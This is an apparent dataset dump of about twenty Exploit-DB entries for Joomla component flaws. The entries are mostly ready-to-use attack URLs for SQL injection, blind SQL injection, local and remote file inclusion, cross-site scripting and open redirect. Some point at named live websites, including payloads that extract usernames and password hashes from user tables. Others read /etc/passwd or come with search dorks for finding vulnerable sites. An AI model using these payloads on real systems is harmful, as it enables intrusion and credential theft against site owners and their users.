deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11917
Description: Joomla! Component com_teacher - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-28
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_teacher SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-28

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_teacher SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_teacher&view=teacher&id=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_teacher&view=teacher&id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13
  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #17412
Description: Joomla! Component com_team - SQL Injection
Type: webapps
Platform: php
Date: 2011-06-19
Author: CoBRa_21

Exploit:
******************************************************************************** 
Joomla Component (com_team) SQL Injection Vulnerability
********************************************************************************

Author : CoBRa_21

Dork : inurl:com_team

********************************************************************************
Exploit

http://localhost/[PATH]/print.php?task=person&id=36 and 1=1

http://localhost/[PATH]/print.php?task=person&id=36 and 1=2

http://localhost/[PATH]/print.php?task=person&id=36 [SQL]

********************************************************************************
Ordu-yu Lojistik TIM // CoBRa_21
********************************************************************************
Exploit-DB #11940
Description: Joomla! Component com_television - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-29
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_television SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-29

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_television SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_television&view=television&id=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_television&view=television&id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

[~] Demo            :

http://www.site.com/index.php?option=com_television&view=television&id=-1 UNION SELECT 1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ

[~] GreetZ : Exploit-DB TeaM
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #12143
Description: Joomla! Component com_ticketbook - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-11
Author: AntiSecurity

Exploit:
================================================================================================================


  [o] Joomla Component Ticketbook Local File Inclusion Vulnerability
 
       Software : com_ticketbook version 1.0.1
       Vendor   : http://www.demo-page.de/
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_ticketbook&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_ticketbook&controller=../../../../../../../../../../etc/passwd%00


================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


================================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #8999
Description: Joomla! Component com_tickets 2.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-22
Author: Chip d3 bi0s

Exploit:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Joomla Component com_tickets (id) SQL-injection Vulnerability
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


###################################################
[+] Author        :  Chip D3 Bi0s
[+] Email         :  chipdebios[alt+64]gmail.com
[+] Greetz        :  d4n1ux + x_jeshua + eCORE + rayok3nt
[+] Vulnerability :  SQL injection 

###################################################

Info component:
횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징
Name 		: Tickets
Version		: 0.1 & 2.1
Author		: Paul Coogan
Author email	: paul@ideabuzz.com
Web author 	: http://www.ideabuzz.com

###################################################

Example:
http://localHost/path/index.php?option=com_tickets&task=form&id=n[SQL code]

n = id valid


Demo Live Joomla : version 2.1
횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징
http://www.helendaleeducationfoundation.org/index.php?option=com_tickets&task=form&id=1+and+1=2+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users/*

Demo Live Mambo : Version 0.1
횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징횇징
http://www.narip.com/index.php?option=com_tickets&task=form&id=68+and+1=2+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+mos_users/*


+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-06-22]
Exploit-DB #33509
Description: Joomla! Component com_tienda - 'categoria' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-13
Author: FL0RiX

Exploit:
source: https://www.securityfocus.com/bid/37798/info

The Joomla! 'com_artistavenue' component is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php?option=com_tienda&task=verproducto&categoria=[XSS]
Exploit-DB #7539
Description: Joomla! Component com_tophotelmodule 1.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-12-21
Author: boom3rang

Exploit:
#############################################################
Joomla Component com_tophotelmodule(id) Blind SQL-injection
#############################################################
 
 
###################################################
#[~] Author :  boom3rang  
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.
----------------------------------------
#[!] <name>Top Hotel Module</name>
#[!] <creationDate>06/07/2008</creationDate>
#[!] <author>Joomla HBS</author>
#[!] <authorEmail>dev@joomlahbs.com</authorEmail>
#[!] <authorUrl>http://joomlahbs.com</authorUrl>
#[!] <version>1.0.0</version>
###################################################
 
Example:
http://demo.joomlahbs.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=[SQL-vulnerability]
 
 
LiveDEMO:
 
http://demo.joomlahbs.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=1 and substring(@@version,1,1)=4   -->FALSE
 
http://demo.joomlahbs.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=1 and substring(@@version,1,1)=5   -->TRUE
 
 
##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-12-21]
Exploit-DB #11919
Description: Joomla! Component com_topmenu - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-28
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_topmenu SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-28

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_topmenu SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_topmenu&id=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_topmenu&id=-1 UNION SELECT 1,2,3,4

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #11991
Description: Joomla! Component com_tour - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-01
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_tour SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-04-01

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_tour SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_tour&view=cat&cid=[SQL]
 
[~] ExploiT         :
 
-999+UNION+ALL+SELECT+1,2,3,4--

Now You Can See Result In Source Page :
 
Mozila : Ctrl + U
 
IE     : View - Source
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_tour&view=cat&cid=-999+UNION+ALL+SELECT+1,2,3,4--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~] GreetZ : Exploit-DB TeaM

[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #10950
Description: Joomla! Component com_tpjobs - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-03
Author: FL0RiX

Exploit:
<------------------- header data start ------------------- >

#####################################################################
#Joomla Component com_tpjobs Blind SQL injection Vulnerability
#####################################################################

# author        : FL0RiX

# Name           : com_tpjobs

# Bug Type       : (Blind) SQL Injection

# Infection      : Admin login bilgileri al&#305;nabilir.

# Demo Vuln.     :
TRUE(+)
» http://server/index.php?option=com_tpjobs&task=resadvsearch&keyword=&id_c[]=1 and 1=1
FALSE(-)
» http://server/index.php?option=com_tpjobs&task=resadvsearch&keyword=&id_c[]=1 and 1=0

# Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_tpjobs&task=resadvsearch&keyword=&id_c[]=[SQL INJ.]

< -- bug code end of -- >
Exploit-DB #10740
Description: Joomla! Component com_trabalhe_conosco - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-27
Author: Pyske

Exploit:
< ------------------- header data start ------------------- >

###########################################################################
Joomla Component com_trabalhe_conosco Cross Site Scripting Vulnerabilities
###########################################################################

# Author : Pyske


# Name : com_trabalhe_conosco


# Home : www.cyber-warrior.org


# Greetz : Fl0riX , M-K-A , F0RTS3V3N , 3KB3R ,BARCOD3 and ALL Cyber-Warrior


# Bug Type : Cross Site Scripting


# Infection : Yönetici ve User cookiekleri calinabilir.


# Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.


# Demo Vuln. : http://server/ja/index.php?option=com_trabalhe_conosco&&Itemid= [XSS CODE]



#############################################################

< ------------------- header data end of ------------------- >


< -- bug code start -- >


">


< -- bug code end of -- >
Exploit-DB #11992
Description: Joomla! Component com_trading - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-04-01
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_trading Blind SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-04-01

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_trading Blind SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_trading&task=showsharedetails&id=[Blind SQL]
 
[~] ExploiT         :
 
1+AND+1=0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_trading&task=showsharedetails&id=1+AND+1=0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10--

 
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~] GreetZ : Exploit-DB TeaM

[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #36220
Description: Joomla! Component com_tree - 'key' SQL Injection
Type: webapps
Platform: php
Date: 2011-10-11
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/50041/info

The 'com_tree' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_tree&Itemid=11&key=-77 uNIOn select 0,version(),2--
Exploit-DB #36469
Description: Joomla! Component com_tsonymf - 'idofitem' SQL Injection
Type: webapps
Platform: php
Date: 2011-12-20
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/51125/info

Joomla! 'com_tsonymf' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[PATH]/index.php?option=com_tsonymf&controller=fpage&task=flypage&idofitem=162 (SQL)
Exploit-DB #11924
Description: Joomla! Component com_units - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-28
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_units SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-28

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_units SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_units&task=unit&id=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_units&task=unit&id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--

[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #11865
Description: Joomla! Component com_universal - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-03-24
Author: eidelweiss

Exploit:
###########################################################
	Joomla component com_universal <= Remote File Inclusion Vulnerability exploit
###########################################################

[+]Software:	Joomla component com_universal (UWCMS Universal Web CMS)
[+]Version:	1.0.0
[+]License:	http://www.gnu.org/copyleft/gpl.html GNU/GPL
[+]Source:	http://uwcms.sourceforge.net
[+]CWE ID :	98
[+]Security Risk:	High
[+]Remote Exploit:	Yes

###########################################################
[+]Author:	eidelweiss
[+]Contact:	eidelweiss[at]cyberservices[dot]com
[+]Thank`s:	sp3x (securityreason) - JosS (hack0wn) - r0073r & 0x1D (inj3ct0r)
[+]Special:	[D]eal [C]yber - syabilla_putri (miss u) , psychotic_girl (dodol :P) , all my friends
###########################################################

-=[ VULN ]=-

[-]	/includes/config/config.html.php

	global $mosConfig_absolute_path;
	require_once($mosConfig_absolute_path."/administrator/components/com_universal/includes/config/configuracion.php");

-=[ P0C ]=-

	http://127.0.0.1//administrator/components/com_universal/includes/config/config.html.php?mosConfig_absolute_path= [sh3ll inj3ct0r]

###########################################################
Exploit-DB #33122
Description: Joomla! Component com_user - 'view' Open Redirection
Type: webapps
Platform: php
Date: 2009-06-27
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/35836/info

The 'com_user' component for Joomla! is prone to a remote URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks. 

http://www.example.com/path/index.php?option=com_user&lang=fr&view=[SITE]
Exploit-DB #8920
Description: Joomla! Component com_vehiclemanager 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-06-09
Author: Mehmet Ince

Exploit:
=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

  Joomla com_vehiclemanager 1.0 Remote File Include

  Download: http://ordasoft.com/Download-document/1-Vehicle-Manager-Basic.html

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Found: xoron

contact: xorontr@gmail.com (only e-mail)

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Exploit:
          -> .../com_vehiclemanager/toolbar_ext.php?mosConfig_absolute_path=shell?

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Thanx: str0ke, VoLkan

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

# milw0rm.com [2009-06-09]
Exploit-DB #17264
Description: Joomla! Component com_versioning - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-09
Author: the_cyber_nuxbie

Exploit:
#[~] Author : the_cyber_nuxbie
#[~] Home   : www.thecybernuxbie.com
#[~] E-mail : staff@thecybernuxbie.com
#[~] Found  : 09 Mei 2011.
#[~] Tested : Windows 7 Ultimate 32bit Bajakan.
#[!] Dork   : inurl:"com_versioning"
______________________________________________________________

[x] X.P.L:
../public_html/index.php?option=com_versioning&sectionid=0&+task=edit&id=[SQLi] <--- Your Skill...!!!

- Shout & Greetz:
All Member & Staff SekuritiOnline    | www.sekuritionline.net
All Member & Staff YogyaFamilyCode   | www.xcode.or.id
All Member & Staff Devilzc0de        | www.devilzc0de.org
All Member & Staff Hacker-Newbie     | www.hacker-newbie.org
All Member & Staff ECHO              | www.echo.or.id
All Member & Staff WhiteCyber        | www.whitecyber.net
All Member & Staff MuslemHacker      | www.muslimhackers.net
All Member & Staff BinusHacker       | www.binushacker.net
All Member & Staff Jasakom           | www.jasakom.com
All Member & Staff YogyaCarderLink.  | www.yogyacarderlink.web.id
All Member & Staff IndonesianDefacer | www.indonesiandefacer.org
All Member & Staff IndonesianCoder   | www.indonesiancoder.com
All Member & Staff MagelangCyber     | www.magelangcyber.web.id
All Member & Staff Jatim-Crew        | www.jatimcrew.org
All Member & Staff Fast-Hacker       | www.fasthacker.org
And all forum / community cyber se-antero indonesia. :-D
,etc...

Sorry masbro...
Aye masih nyubi... :-D
Jangan menghina aye donk... :-(
Bruakakakakakak... :-D

- Mei 09 2011, GMT +09:35 Solo Raya, Indonesia.
Exploit-DB #37102
Description: Joomla! Component com_videogallery - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2012-04-24
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/53237/info

The Video Gallery component for Joomla! is prone to local file-include and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute arbitrary local files within the context of the affected application. Information harvested may aid in further attacks.

The attacker can exploit the SQL-injection vulnerability to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass the authentication control. 

http://www.example.com/index.php?option=com_videogallery&Itemid=68'

http://www.example.com/index.php?option=com_videogallery&Itemid=[id]' [ SQLi Here ]--

http://www.example.com/&controller=../../../../../../../../../../../../[LFT]%00